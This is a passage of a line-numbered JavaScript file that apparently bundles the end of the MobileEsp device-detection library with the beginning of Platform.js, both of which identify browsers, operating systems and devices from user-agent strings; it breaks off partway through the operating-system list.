  2869.                         return true;
  2870.                 else
  2871.                         return false;
  2872.         },
  2873.  
  2874.         //**************************
  2875.         // Detects a mobile device (probably) running the Firefox OS.
  2876.         DetectFirefoxOS : function() {
  2877.                 if (this.DetectFirefoxOSPhone() || this.DetectFirefoxOSTablet())
  2878.                         return true;
  2879.                 else
  2880.                         return false;
  2881.         },
  2882.  
  2883.         //**************************
  2884.         // Detects a phone (probably) running the Firefox OS.
  2885.         DetectFirefoxOSPhone : function() {
  2886.                 //First, let's make sure we're NOT on another major mobile OS.
  2887.                 if (this.DetectIos() ||
  2888.                         this.DetectAndroid() ||
  2889.                         this.DetectSailfish())
  2890.                         return false;            
  2891.  
  2892.                 if ((this.uagent.search(this.engineFirefox) > -1) &&
  2893.                         (this.uagent.search(this.mobile) > -1))
  2894.                         return true;
  2895.                
  2896.                 return false;
  2897.         },
  2898.  
  2899.         //**************************
  2900.         // Detects a tablet (probably) running the Firefox OS.
  2901.         DetectFirefoxOSTablet : function() {
  2902.                 //First, let's make sure we're NOT on another major mobile OS.
  2903.                 if (this.DetectIos() ||
  2904.                         this.DetectAndroid() ||
  2905.                         this.DetectSailfish())
  2906.                         return false;            
  2907.  
  2908.                 if ((this.uagent.search(this.engineFirefox) > -1) &&
  2909.                         (this.uagent.search(this.deviceTablet) > -1))
  2910.                         return true;
  2911.                
  2912.                 return false;
  2913.         },
  2914.  
  2915.         //**************************
  2916.         // Detects a device running the Sailfish OS.
  2917.         DetectSailfish : function() {
  2918.                 if (this.uagent.search(this.deviceSailfish) > -1)
  2919.                         return true;
  2920.                 else
  2921.                         return false;
  2922.         },
  2923.  
  2924.         //**************************
  2925.         // Detects a phone running the Sailfish OS.
  2926.         DetectSailfishPhone : function() {
  2927.                 if (this.DetectSailfish() && (this.uagent.search(this.mobile) > -1))
  2928.                         return true;
  2929.                
  2930.                 return false;
  2931.         },
  2932.  
  2933.  
  2934.         //**************************
  2935.         // Detects a mobile device running the Ubuntu Mobile OS.
  2936.         DetectUbuntu : function() {
  2937.                 if (this.DetectUbuntuPhone() || this.DetectUbuntuTablet())
  2938.                         return true;
  2939.                 else
  2940.                         return false;
  2941.         },
  2942.  
  2943.         //**************************
  2944.         // Detects a phone running the Ubuntu Mobile OS.
  2945.         DetectUbuntuPhone : function() {
  2946.                 if ((this.uagent.search(this.deviceUbuntu) > -1) &&
  2947.                         (this.uagent.search(this.mobile) > -1))
  2948.                         return true;
  2949.                
  2950.                 return false;
  2951.         },
  2952.  
  2953.         //**************************
  2954.         // Detects a tablet running the Ubuntu Mobile OS.
  2955.         DetectUbuntuTablet : function() {
  2956.                 if ((this.uagent.search(this.deviceUbuntu) > -1) &&
  2957.                         (this.uagent.search(this.deviceTablet) > -1))
  2958.                         return true;
  2959.                
  2960.                 return false;
  2961.         },
  2962.  
  2963.         //**************************
  2964.         // Detects the Danger Hiptop device.
  2965.         DetectDangerHiptop : function() {
  2966.                 if (this.uagent.search(this.deviceDanger) > -1 ||
  2967.                         this.uagent.search(this.deviceHiptop) > -1)
  2968.                         return true;
  2969.                 else
  2970.                         return false;
  2971.         },
  2972.  
  2973.         //**************************
  2974.         // Detects if the current browser is a Sony Mylo device.
  2975.         DetectSonyMylo : function() {
  2976.                 if ((this.uagent.search(this.manuSony) > -1) &&
  2977.                     ((this.uagent.search(this.qtembedded) > -1) ||
  2978.                      (this.uagent.search(this.mylocom2) > -1)))
  2979.                         return true;
  2980.                 else
  2981.                         return false;
  2982.         },
  2983.  
  2984.         //**************************
  2985.         // Detects if the current device is on one of
  2986.         // the Maemo-based Nokia Internet Tablets.
  2987.         DetectMaemoTablet : function() {
  2988.                 if (this.uagent.search(this.maemo) > -1)
  2989.                         return true;
  2990.                 //For Nokia N810, must be Linux + Tablet, or else it could be something else.
  2991.                 if ((this.uagent.search(this.linux) > -1) &&
  2992.                         (this.uagent.search(this.deviceTablet) > -1) &&
  2993.                         this.DetectWebOSTablet() &&
  2994.                         !this.DetectAndroid())
  2995.                         return true;
  2996.                 else
  2997.                         return false;
  2998.         },
  2999.  
  3000.         //**************************
  3001.         // Detects if the current device is an Archos media player/Internet tablet.
  3002.         DetectArchos : function() {
  3003.                 if (this.uagent.search(this.deviceArchos) > -1)
  3004.                         return true;
  3005.                 else
  3006.                         return false;
  3007.         },
  3008.  
  3009.         //**************************
  3010.         // Detects if the current device is an Internet-capable game console.
  3011.         // Includes many handheld consoles.
  3012.         DetectGameConsole : function() {
  3013.                 if (this.DetectSonyPlaystation() ||
  3014.                         this.DetectNintendo() ||
  3015.                         this.DetectXbox())
  3016.                         return true;
  3017.                 else
  3018.                         return false;
  3019.         },
  3020.  
  3021.         //**************************
  3022.         // Detects if the current device is a Sony Playstation.
  3023.         DetectSonyPlaystation : function() {
  3024.                 if (this.uagent.search(this.devicePlaystation) > -1)
  3025.                         return true;
  3026.                 else
  3027.                         return false;
  3028.         },
  3029.  
  3030.         //**************************
  3031.         // Detects if the current device is a handheld gaming device with
  3032.     // a touchscreen and modern iPhone-class browser. Includes the Playstation Vita.
  3033.         DetectGamingHandheld : function() {
  3034.                 if ((this.uagent.search(this.devicePlaystation) > -1) &&
  3035.                    (this.uagent.search(this.devicePlaystationVita) > -1))
  3036.                         return true;
  3037.                 else
  3038.                         return false;
  3039.         },
  3040.  
  3041.         //**************************
  3042.         // Detects if the current device is a Nintendo game device.
  3043.         DetectNintendo : function() {
  3044.                 if (this.uagent.search(this.deviceNintendo) > -1   ||
  3045.                         this.uagent.search(this.deviceWii) > -1 ||
  3046.                         this.uagent.search(this.deviceNintendoDs) > -1)
  3047.                         return true;
  3048.                 else
  3049.                         return false;
  3050.         },
  3051.  
  3052.         //**************************
  3053.         // Detects if the current device is a Microsoft Xbox.
  3054.         DetectXbox : function() {
  3055.                 if (this.uagent.search(this.deviceXbox) > -1)
  3056.                         return true;
  3057.                 else
  3058.                         return false;
  3059.         },
  3060.        
  3061.        
  3062.         //**************************
  3063.         // Detects whether the device is a Brew-powered device.
  3064.         //   Note: Limited to older Brew-powered feature phones.
  3065.         //   Ignores newer Brew versions like MP. Refer to DetectMobileQuick().
  3066.         DetectBrewDevice : function() {
  3067.                 if (this.uagent.search(this.deviceBrew) > -1)
  3068.                         return true;
  3069.                 else
  3070.                         return false;
  3071.         },
  3072.  
  3073.  
  3074.         // DEVICE CLASSES
  3075.  
  3076.         //**************************
  3077.         // Check to see whether the device is *any* 'smartphone'.
  3078.         //   Note: It's better to use DetectTierIphone() for modern touchscreen devices.
  3079.         DetectSmartphone : function() {
  3080.                 //Exclude duplicates from TierIphone
  3081.         if (this.DetectTierIphone() ||
  3082.             this.DetectS60OssBrowser() ||
  3083.                         this.DetectSymbianOS() ||
  3084.                         this.DetectWindowsMobile() ||
  3085.                         this.DetectBlackBerry() ||
  3086.                         this.DetectMeegoPhone() ||
  3087.                         this.DetectPalmOS())
  3088.                         return true;
  3089.                
  3090.                 //Otherwise, return false.
  3091.                 return false;
  3092.         },
  3093.  
  3094.         //**************************
  3095.         // Detects if the current device is a mobile device.
  3096.         //  This method catches most of the popular modern devices.
  3097.         //  Excludes Apple iPads and other modern tablets.
  3098.         DetectMobileQuick : function() {
  3099.                 if (this.initCompleted || this.isMobilePhone)
  3100.                         return this.isMobilePhone;
  3101.  
  3102.                 //Let's exclude tablets.
  3103.                 if (this.DetectTierTablet())
  3104.                         return false;
  3105.  
  3106.                 //Most mobile browsing is done on smartphones
  3107.                 if (this.DetectSmartphone())
  3108.                         return true;
  3109.  
  3110.                 //Catch-all for many mobile devices
  3111.                 if (this.uagent.search(this.mobile) > -1)
  3112.                         return true;
  3113.  
  3114.                 if (this.DetectOperaMobile())
  3115.                         return true;
  3116.  
  3117.                 //We also look for Kindle devices
  3118.                 if (this.DetectKindle() ||
  3119.                         this.DetectAmazonSilk())
  3120.                         return true;
  3121.  
  3122.                 if (this.uagent.search(this.deviceMidp) > -1 ||
  3123.                         this.DetectBrewDevice())
  3124.                         return true;
  3125.  
  3126.                 if ((this.uagent.search(this.engineObigo) > -1) ||
  3127.                         (this.uagent.search(this.engineNetfront) > -1) ||
  3128.                         (this.uagent.search(this.engineUpBrowser) > -1))
  3129.                         return true;
  3130.  
  3131.                 return false;
  3132.         },
  3133.  
  3134.         //**************************
  3135.         // Detects in a more comprehensive way if the current device is a mobile device.
  3136.         DetectMobileLong : function() {
  3137.                 if (this.DetectMobileQuick())
  3138.                         return true;
  3139.                 if (this.DetectGameConsole())
  3140.                         return true;
  3141.  
  3142.                 if (this.DetectDangerHiptop() ||
  3143.                         this.DetectMaemoTablet() ||
  3144.                         this.DetectSonyMylo() ||
  3145.                         this.DetectArchos())
  3146.                         return true;
  3147.  
  3148.                 if ((this.uagent.search(this.devicePda) > -1) &&
  3149.                         !(this.uagent.search(this.disUpdate) > -1))
  3150.                         return true;
  3151.                
  3152.                 //Detect for certain very old devices with stupid useragent strings.
  3153.                 if ((this.uagent.search(this.manuSamsung1) > -1) ||
  3154.                         (this.uagent.search(this.manuSonyEricsson) > -1) ||
  3155.                         (this.uagent.search(this.manuericsson) > -1) ||
  3156.                         (this.uagent.search(this.svcDocomo) > -1) ||
  3157.                         (this.uagent.search(this.svcKddi) > -1) ||
  3158.                         (this.uagent.search(this.svcVodafone) > -1))
  3159.                         return true;
  3160.                
  3161.                 return false;
  3162.         },
  3163.  
  3164.         //*****************************
  3165.         // For Mobile Web Site Design
  3166.         //*****************************
  3167.        
  3168.         //**************************
  3169.         // The quick way to detect for a tier of devices.
  3170.         //   This method detects for the new generation of
  3171.         //   HTML 5 capable, larger screen tablets.
  3172.         //   Includes iPad, Android (e.g., Xoom), BB Playbook, WebOS, etc.
  3173.         DetectTierTablet : function() {
  3174.                 if (this.initCompleted || this.isTierTablet)
  3175.                         return this.isTierTablet;
  3176.                
  3177.                 if (this.DetectIpad() ||
  3178.                         this.DetectAndroidTablet() ||
  3179.                         this.DetectBlackBerryTablet() ||
  3180.                         this.DetectFirefoxOSTablet() ||
  3181.                         this.DetectUbuntuTablet() ||
  3182.                         this.DetectWebOSTablet())
  3183.                         return true;
  3184.                 else
  3185.                         return false;
  3186.         },
  3187.  
  3188.         //**************************
  3189.         // The quick way to detect for a tier of devices.
  3190.         //   This method detects for devices which can
  3191.         //   display iPhone-optimized web content.
  3192.         //   Includes iPhone, iPod Touch, Android, Windows Phone 7 and 8, BB10, WebOS, Playstation Vita, etc.
  3193.         DetectTierIphone : function() {
  3194.                 if (this.initCompleted || this.isTierIphone)
  3195.                         return this.isTierIphone;
  3196.  
  3197.                 if (this.DetectIphoneOrIpod() ||
  3198.                         this.DetectAndroidPhone() ||
  3199.                         this.DetectWindowsPhone() ||
  3200.                         this.DetectBlackBerry10Phone() ||
  3201.                         this.DetectPalmWebOS() ||
  3202.                         this.DetectBada() ||
  3203.                         this.DetectTizen() ||
  3204.                         this.DetectFirefoxOSPhone() ||
  3205.                         this.DetectSailfishPhone() ||
  3206.                         this.DetectUbuntuPhone() ||
  3207.                         this.DetectGamingHandheld())
  3208.                         return true;
  3209.  
  3210.         //Note: BB10 phone is in the previous paragraph
  3211.                 if (this.DetectBlackBerryWebKit() && this.DetectBlackBerryTouch())
  3212.                         return true;
  3213.                
  3214.                 else
  3215.                         return false;
  3216.         },
  3217.  
  3218.         //**************************
  3219.         // The quick way to detect for a tier of devices.
  3220.         //   This method detects for devices which are likely to be
  3221.         //   capable of viewing CSS content optimized for the iPhone,
  3222.         //   but may not necessarily support JavaScript.
  3223.         //   Excludes all iPhone Tier devices.
  3224.         DetectTierRichCss : function() {
  3225.                 if (this.initCompleted || this.isTierRichCss)
  3226.                         return this.isTierRichCss;
  3227.  
  3228.                 //Exclude iPhone and Tablet Tiers and e-Ink Kindle devices
  3229.                 if (this.DetectTierIphone() ||
  3230.                         this.DetectKindle() ||
  3231.                         this.DetectTierTablet())
  3232.                         return false;
  3233.                
  3234.                 //Exclude if not mobile
  3235.                 if (!this.DetectMobileQuick())
  3236.                         return false;
  3237.                                
  3238.                 //If it's a mobile webkit browser on any other device, it's probably OK.
  3239.                 if (this.DetectWebkit())
  3240.                         return true;
  3241.                
  3242.                 //The following devices are also explicitly ok.
  3243.                 if (this.DetectS60OssBrowser() ||
  3244.                         this.DetectBlackBerryHigh() ||
  3245.                         this.DetectWindowsMobile() ||
  3246.                         (this.uagent.search(this.engineTelecaQ) > -1))
  3247.                         return true;
  3248.                
  3249.                 else
  3250.                         return false;
  3251.         },
  3252.  
  3253.         //**************************
  3254.         // The quick way to detect for a tier of devices.
  3255.         //   This method detects for all other types of phones,
  3256.         //   but excludes the iPhone and RichCSS Tier devices.
  3257.         // NOTE: This method probably won't work due to poor
  3258.         //  support for JavaScript among other devices.
  3259.         DetectTierOtherPhones : function() {
  3260.                 if (this.initCompleted || this.isTierGenericMobile)
  3261.                         return this.isTierGenericMobile;
  3262.                
  3263.                 //Exclude iPhone, Rich CSS and Tablet Tiers
  3264.                 if (this.DetectTierIphone() ||
  3265.                         this.DetectTierRichCss() ||
  3266.                         this.DetectTierTablet())
  3267.                         return false;
  3268.                
  3269.                 //Otherwise, if it's mobile, it's OK
  3270.                 if (this.DetectMobileLong())
  3271.                         return true;
  3272.  
  3273.                 else
  3274.                         return false;
  3275.         }
  3276.  
  3277. };
  3278.  
  3279. //Initialize the MobileEsp object
  3280. MobileEsp.InitDeviceScan();
  3281.  
  3282.  
  3283.  
  3284.  
  3285.  
  3286. /*!
  3287.  * Platform.js
  3288.  * Copyright 2014-2020 Benjamin Tan
  3289.  * Copyright 2011-2013 John-David Dalton
  3290.  * Available under MIT license
  3291.  */
  3292. ;(function() {
  3293.   'use strict';
  3294.  
  3295.   /** Used to determine if values are of the language type `Object`. */
  3296.   var objectTypes = {
  3297.     'function': true,
  3298.     'object': true
  3299.   };
  3300.  
  3301.   /** Used as a reference to the global object. */
  3302.   var root = (objectTypes[typeof window] && window) || this;
  3303.  
  3304.   /** Backup possible global object. */
  3305.   var oldRoot = root;
  3306.  
  3307.   /** Detect free variable `exports`. */
  3308.   var freeExports = objectTypes[typeof exports] && exports;
  3309.  
  3310.   /** Detect free variable `module`. */
  3311.   var freeModule = objectTypes[typeof module] && module && !module.nodeType && module;
  3312.  
  3313.   /** Detect free variable `global` from Node.js or Browserified code and use it as `root`. */
  3314.   var freeGlobal = freeExports && freeModule && typeof global == 'object' && global;
  3315.   if (freeGlobal && (freeGlobal.global === freeGlobal || freeGlobal.window === freeGlobal || freeGlobal.self === freeGlobal)) {
  3316.     root = freeGlobal;
  3317.   }
  3318.  
  3319.   /**
  3320.    * Used as the maximum length of an array-like object.
  3321.    * See the [ES6 spec](http://people.mozilla.org/~jorendorff/es6-draft.html#sec-tolength)
  3322.    * for more details.
  3323.    */
  3324.   var maxSafeInteger = Math.pow(2, 53) - 1;
  3325.  
  3326.   /** Regular expression to detect Opera. */
  3327.   var reOpera = /\bOpera/;
  3328.  
  3329.   /** Possible global object. */
  3330.   var thisBinding = this;
  3331.  
  3332.   /** Used for native method references. */
  3333.   var objectProto = Object.prototype;
  3334.  
  3335.   /** Used to check for own properties of an object. */
  3336.   var hasOwnProperty = objectProto.hasOwnProperty;
  3337.  
  3338.   /** Used to resolve the internal `[[Class]]` of values. */
  3339.   var toString = objectProto.toString;
  3340.  
  3341.   /*--------------------------------------------------------------------------*/
  3342.  
  3343.   /**
  3344.    * Capitalizes a string value.
  3345.    *
  3346.    * @private
  3347.    * @param {string} string The string to capitalize.
  3348.    * @returns {string} The capitalized string.
  3349.    */
  3350.   function capitalize(string) {
  3351.     string = String(string);
  3352.     return string.charAt(0).toUpperCase() + string.slice(1);
  3353.   }
  3354.  
  3355.   /**
  3356.    * A utility function to clean up the OS name.
  3357.    *
  3358.    * @private
  3359.    * @param {string} os The OS name to clean up.
  3360.    * @param {string} [pattern] A `RegExp` pattern matching the OS name.
  3361.    * @param {string} [label] A label for the OS.
  3362.    */
  3363.   function cleanupOS(os, pattern, label) {
  3364.     // Platform tokens are defined at:
  3365.     // http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx
  3366.     // http://web.archive.org/web/20081122053950/http://msdn.microsoft.com/en-us/library/ms537503(VS.85).aspx
  3367.     var data = {
  3368.       '10.0': '10',
  3369.       '6.4':  '10 Technical Preview',
  3370.       '6.3':  '8.1',
  3371.       '6.2':  '8',
  3372.       '6.1':  'Server 2008 R2 / 7',
  3373.       '6.0':  'Server 2008 / Vista',
  3374.       '5.2':  'Server 2003 / XP 64-bit',
  3375.       '5.1':  'XP',
  3376.       '5.01': '2000 SP1',
  3377.       '5.0':  '2000',
  3378.       '4.0':  'NT',
  3379.       '4.90': 'ME'
  3380.     };
  3381.     // Detect Windows version from platform tokens.
  3382.     if (pattern && label && /^Win/i.test(os) && !/^Windows Phone /i.test(os) &&
  3383.         (data = data[/[\d.]+$/.exec(os)])) {
  3384.       os = 'Windows ' + data;
  3385.     }
  3386.     // Correct character case and cleanup string.
  3387.     os = String(os);
  3388.  
  3389.     if (pattern && label) {
  3390.       os = os.replace(RegExp(pattern, 'i'), label);
  3391.     }
  3392.  
  3393.     os = format(
  3394.       os.replace(/ ce$/i, ' CE')
  3395.         .replace(/\bhpw/i, 'web')
  3396.         .replace(/\bMacintosh\b/, 'Mac OS')
  3397.         .replace(/_PowerPC\b/i, ' OS')
  3398.         .replace(/\b(OS X) [^ \d]+/i, '$1')
  3399.         .replace(/\bMac (OS X)\b/, '$1')
  3400.         .replace(/\/(\d)/, ' $1')
  3401.         .replace(/_/g, '.')
  3402.         .replace(/(?: BePC|[ .]*fc[ \d.]+)$/i, '')
  3403.         .replace(/\bx86\.64\b/gi, 'x86_64')
  3404.         .replace(/\b(Windows Phone) OS\b/, '$1')
  3405.         .replace(/\b(Chrome OS \w+) [\d.]+\b/, '$1')
  3406.         .split(' on ')[0]
  3407.     );
  3408.  
  3409.     return os;
  3410.   }
  3411.  
  3412.   /**
  3413.    * An iteration utility for arrays and objects.
  3414.    *
  3415.    * @private
  3416.    * @param {Array|Object} object The object to iterate over.
  3417.    * @param {Function} callback The function called per iteration.
  3418.    */
  3419.   function each(object, callback) {
  3420.     var index = -1,
  3421.         length = object ? object.length : 0;
  3422.  
  3423.     if (typeof length == 'number' && length > -1 && length <= maxSafeInteger) {
  3424.       while (++index < length) {
  3425.         callback(object[index], index, object);
  3426.       }
  3427.     } else {
  3428.       forOwn(object, callback);
  3429.     }
  3430.   }
  3431.  
  3432.   /**
  3433.    * Trim and conditionally capitalize string values.
  3434.    *
  3435.    * @private
  3436.    * @param {string} string The string to format.
  3437.    * @returns {string} The formatted string.
  3438.    */
  3439.   function format(string) {
  3440.     string = trim(string);
  3441.     return /^(?:webOS|i(?:OS|P))/.test(string)
  3442.       ? string
  3443.       : capitalize(string);
  3444.   }
  3445.  
  3446.   /**
  3447.    * Iterates over an object's own properties, executing the `callback` for each.
  3448.    *
  3449.    * @private
  3450.    * @param {Object} object The object to iterate over.
  3451.    * @param {Function} callback The function executed per own property.
  3452.    */
  3453.   function forOwn(object, callback) {
  3454.     for (var key in object) {
  3455.       if (hasOwnProperty.call(object, key)) {
  3456.         callback(object[key], key, object);
  3457.       }
  3458.     }
  3459.   }
  3460.  
  3461.   /**
  3462.    * Gets the internal `[[Class]]` of a value.
  3463.    *
  3464.    * @private
  3465.    * @param {*} value The value.
  3466.    * @returns {string} The `[[Class]]`.
  3467.    */
  3468.   function getClassOf(value) {
  3469.     return value == null
  3470.       ? capitalize(value)
  3471.       : toString.call(value).slice(8, -1);
  3472.   }
  3473.  
  3474.   /**
  3475.    * Host objects can return type values that are different from their actual
  3476.    * data type. The objects we are concerned with usually return non-primitive
  3477.    * types of "object", "function", or "unknown".
  3478.    *
  3479.    * @private
  3480.    * @param {*} object The owner of the property.
  3481.    * @param {string} property The property to check.
  3482.    * @returns {boolean} Returns `true` if the property value is a non-primitive, else `false`.
  3483.    */
  3484.   function isHostType(object, property) {
  3485.     var type = object != null ? typeof object[property] : 'number';
  3486.     return !/^(?:boolean|number|string|undefined)$/.test(type) &&
  3487.       (type == 'object' ? !!object[property] : true);
  3488.   }
  3489.  
  3490.   /**
  3491.    * Prepares a string for use in a `RegExp` by making hyphens and spaces optional.
  3492.    *
  3493.    * @private
  3494.    * @param {string} string The string to qualify.
  3495.    * @returns {string} The qualified string.
  3496.    */
  3497.   function qualify(string) {
  3498.     return String(string).replace(/([ -])(?!$)/g, '$1?');
  3499.   }
  3500.  
  3501.   /**
  3502.    * A bare-bones `Array#reduce` like utility function.
  3503.    *
  3504.    * @private
  3505.    * @param {Array} array The array to iterate over.
  3506.    * @param {Function} callback The function called per iteration.
  3507.    * @returns {*} The accumulated result.
  3508.    */
  3509.   function reduce(array, callback) {
  3510.     var accumulator = null;
  3511.     each(array, function(value, index) {
  3512.       accumulator = callback(accumulator, value, index, array);
  3513.     });
  3514.     return accumulator;
  3515.   }
  3516.  
  3517.   /**
  3518.    * Removes leading and trailing whitespace from a string.
  3519.    *
  3520.    * @private
  3521.    * @param {string} string The string to trim.
  3522.    * @returns {string} The trimmed string.
  3523.    */
  3524.   function trim(string) {
  3525.     return String(string).replace(/^ +| +$/g, '');
  3526.   }
  3527.  
  3528.   /*--------------------------------------------------------------------------*/
  3529.  
  3530.   /**
  3531.    * Creates a new platform object.
  3532.    *
  3533.    * @memberOf platform
  3534.    * @param {Object|string} [ua=navigator.userAgent] The user agent string or
  3535.    *  context object.
  3536.    * @returns {Object} A platform object.
  3537.    */
  3538.   function parse(ua) {
  3539.  
  3540.     /** The environment context object. */
  3541.     var context = root;
  3542.  
  3543.     /** Used to flag when a custom context is provided. */
  3544.     var isCustomContext = ua && typeof ua == 'object' && getClassOf(ua) != 'String';
  3545.  
  3546.     // Juggle arguments.
  3547.     if (isCustomContext) {
  3548.       context = ua;
  3549.       ua = null;
  3550.     }
  3551.  
  3552.     /** Browser navigator object. */
  3553.     var nav = context.navigator || {};
  3554.  
  3555.     /** Browser user agent string. */
  3556.     var userAgent = nav.userAgent || '';
  3557.  
  3558.     ua || (ua = userAgent);
  3559.  
  3560.     /** Used to flag when `thisBinding` is the [ModuleScope]. */
  3561.     var isModuleScope = isCustomContext || thisBinding == oldRoot;
  3562.  
  3563.     /** Used to detect if browser is like Chrome. */
  3564.     var likeChrome = isCustomContext
  3565.       ? !!nav.likeChrome
  3566.       : /\bChrome\b/.test(ua) && !/internal|\n/i.test(toString.toString());
  3567.  
  3568.     /** Internal `[[Class]]` value shortcuts. */
  3569.     var objectClass = 'Object',
  3570.         airRuntimeClass = isCustomContext ? objectClass : 'ScriptBridgingProxyObject',
  3571.         enviroClass = isCustomContext ? objectClass : 'Environment',
  3572.         javaClass = (isCustomContext && context.java) ? 'JavaPackage' : getClassOf(context.java),
  3573.         phantomClass = isCustomContext ? objectClass : 'RuntimeObject';
  3574.  
  3575.     /** Detect Java environments. */
  3576.     var java = /\bJava/.test(javaClass) && context.java;
  3577.  
  3578.     /** Detect Rhino. */
  3579.     var rhino = java && getClassOf(context.environment) == enviroClass;
  3580.  
  3581.     /** A character to represent alpha. */
  3582.     var alpha = java ? 'a' : '\u03b1';
  3583.  
  3584.     /** A character to represent beta. */
  3585.     var beta = java ? 'b' : '\u03b2';
  3586.  
  3587.     /** Browser document object. */
  3588.     var doc = context.document || {};
  3589.  
  3590.     /**
  3591.      * Detect Opera browser (Presto-based).
  3592.      * http://www.howtocreate.co.uk/operaStuff/operaObject.html
  3593.      * http://dev.opera.com/articles/view/opera-mini-web-content-authoring-guidelines/#operamini
  3594.      */
  3595.     var opera = context.operamini || context.opera;
  3596.  
  3597.     /** Opera `[[Class]]`. */
  3598.     var operaClass = reOpera.test(operaClass = (isCustomContext && opera) ? opera['[[Class]]'] : getClassOf(opera))
  3599.       ? operaClass
  3600.       : (opera = null);
  3601.  
  3602.     /*------------------------------------------------------------------------*/
  3603.  
  3604.     /** Temporary variable used over the script's lifetime. */
  3605.     var data;
  3606.  
  3607.     /** The CPU architecture. */
  3608.     var arch = ua;
  3609.  
  3610.     /** Platform description array. */
  3611.     var description = [];
  3612.  
  3613.     /** Platform alpha/beta indicator. */
  3614.     var prerelease = null;
  3615.  
  3616.     /** A flag to indicate that environment features should be used to resolve the platform. */
  3617.     var useFeatures = ua == userAgent;
  3618.  
  3619.     /** The browser/environment version. */
  3620.     var version = useFeatures && opera && typeof opera.version == 'function' && opera.version();
  3621.  
  3622.     /** A flag to indicate if the OS ends with "/ Version" */
  3623.     var isSpecialCasedOS;
  3624.  
  3625.     /* Detectable layout engines (order is important). */
  3626.     var layout = getLayout([
  3627.       { 'label': 'EdgeHTML', 'pattern': 'Edge' },
  3628.       'Trident',
  3629.       { 'label': 'WebKit', 'pattern': 'AppleWebKit' },
  3630.       'iCab',
  3631.       'Presto',
  3632.       'NetFront',
  3633.       'Tasman',
  3634.       'KHTML',
  3635.       'Gecko'
  3636.     ]);
  3637.  
  3638.     /* Detectable browser names (order is important). */
  3639.     var name = getName([
  3640.       'Adobe AIR',
  3641.       'Arora',
  3642.       'Avant Browser',
  3643.       'Breach',
  3644.       'Camino',
  3645.       'Electron',
  3646.       'Epiphany',
  3647.       'Fennec',
  3648.       'Flock',
  3649.       'Galeon',
  3650.       'GreenBrowser',
  3651.       'iCab',
  3652.       'Iceweasel',
  3653.       'K-Meleon',
  3654.       'Konqueror',
  3655.       'Lunascape',
  3656.       'Maxthon',
  3657.       { 'label': 'Microsoft Edge', 'pattern': '(?:Edge|Edg|EdgA|EdgiOS)' },
  3658.       'Midori',
  3659.       'Nook Browser',
  3660.       'PaleMoon',
  3661.       'PhantomJS',
  3662.       'Raven',
  3663.       'Rekonq',
  3664.       'RockMelt',
  3665.       { 'label': 'Samsung Internet', 'pattern': 'SamsungBrowser' },
  3666.       'SeaMonkey',
  3667.       { 'label': 'Silk', 'pattern': '(?:Cloud9|Silk-Accelerated)' },
  3668.       'Sleipnir',
  3669.       'SlimBrowser',
  3670.       { 'label': 'SRWare Iron', 'pattern': 'Iron' },
  3671.       'Sunrise',
  3672.       'Swiftfox',
  3673.       'Vivaldi',
  3674.       'Waterfox',
  3675.       'WebPositive',
  3676.       { 'label': 'Yandex Browser', 'pattern': 'YaBrowser' },
  3677.       { 'label': 'UC Browser', 'pattern': 'UCBrowser' },
  3678.       'Opera Mini',
  3679.       { 'label': 'Opera Mini', 'pattern': 'OPiOS' },
  3680.       'Opera',
  3681.       { 'label': 'Opera', 'pattern': 'OPR' },
  3682.       'Chromium',
  3683.       'Chrome',
  3684.       { 'label': 'Chrome', 'pattern': '(?:HeadlessChrome)' },
  3685.       { 'label': 'Chrome Mobile', 'pattern': '(?:CriOS|CrMo)' },
  3686.       { 'label': 'Firefox', 'pattern': '(?:Firefox|Minefield)' },
  3687.       { 'label': 'Firefox for iOS', 'pattern': 'FxiOS' },
  3688.       { 'label': 'IE', 'pattern': 'IEMobile' },
  3689.       { 'label': 'IE', 'pattern': 'MSIE' },
  3690.       'Safari'
  3691.     ]);
  3692.  
  3693.     /* Detectable products (order is important). */
  3694.     var product = getProduct([
  3695.       { 'label': 'BlackBerry', 'pattern': 'BB10' },
  3696.       'BlackBerry',
  3697.       { 'label': 'Galaxy S', 'pattern': 'GT-I9000' },
  3698.       { 'label': 'Galaxy S2', 'pattern': 'GT-I9100' },
  3699.       { 'label': 'Galaxy S3', 'pattern': 'GT-I9300' },
  3700.       { 'label': 'Galaxy S4', 'pattern': 'GT-I9500' },
  3701.       { 'label': 'Galaxy S5', 'pattern': 'SM-G900' },
  3702.       { 'label': 'Galaxy S6', 'pattern': 'SM-G920' },
  3703.       { 'label': 'Galaxy S6 Edge', 'pattern': 'SM-G925' },
  3704.       { 'label': 'Galaxy S7', 'pattern': 'SM-G930' },
  3705.       { 'label': 'Galaxy S7 Edge', 'pattern': 'SM-G935' },
  3706.       'Google TV',
  3707.       'Lumia',
  3708.       'iPad',
  3709.       'iPod',
  3710.       'iPhone',
  3711.       'Kindle',
  3712.       { 'label': 'Kindle Fire', 'pattern': '(?:Cloud9|Silk-Accelerated)' },
  3713.       'Nexus',
  3714.       'Nook',
  3715.       'PlayBook',
  3716.       'PlayStation Vita',
  3717.       'PlayStation',
  3718.       'TouchPad',
  3719.       'Transformer',
  3720.       { 'label': 'Wii U', 'pattern': 'WiiU' },
  3721.       'Wii',
  3722.       'Xbox One',
  3723.       { 'label': 'Xbox 360', 'pattern': 'Xbox' },
  3724.       'Xoom'
  3725.     ]);
  3726.  
  3727.     /* Detectable manufacturers. */
  3728.     var manufacturer = getManufacturer({
  3729.       'Apple': { 'iPad': 1, 'iPhone': 1, 'iPod': 1 },
  3730.       'Alcatel': {},
  3731.       'Archos': {},
  3732.       'Amazon': { 'Kindle': 1, 'Kindle Fire': 1 },
  3733.       'Asus': { 'Transformer': 1 },
  3734.       'Barnes & Noble': { 'Nook': 1 },
  3735.       'BlackBerry': { 'PlayBook': 1 },
  3736.       'Google': { 'Google TV': 1, 'Nexus': 1 },
  3737.       'HP': { 'TouchPad': 1 },
  3738.       'HTC': {},
  3739.       'Huawei': {},
  3740.       'Lenovo': {},
  3741.       'LG': {},
  3742.       'Microsoft': { 'Xbox': 1, 'Xbox One': 1 },
  3743.       'Motorola': { 'Xoom': 1 },
  3744.       'Nintendo': { 'Wii U': 1,  'Wii': 1 },
  3745.       'Nokia': { 'Lumia': 1 },
  3746.       'Oppo': {},
  3747.       'Samsung': { 'Galaxy S': 1, 'Galaxy S2': 1, 'Galaxy S3': 1, 'Galaxy S4': 1 },
  3748.       'Sony': { 'PlayStation': 1, 'PlayStation Vita': 1 },
  3749.       'Xiaomi': { 'Mi': 1, 'Redmi': 1 }
  3750.     });
  3751.  
  3752.     /* Detectable operating systems (order is important). */
  3753.     var os = getOS([
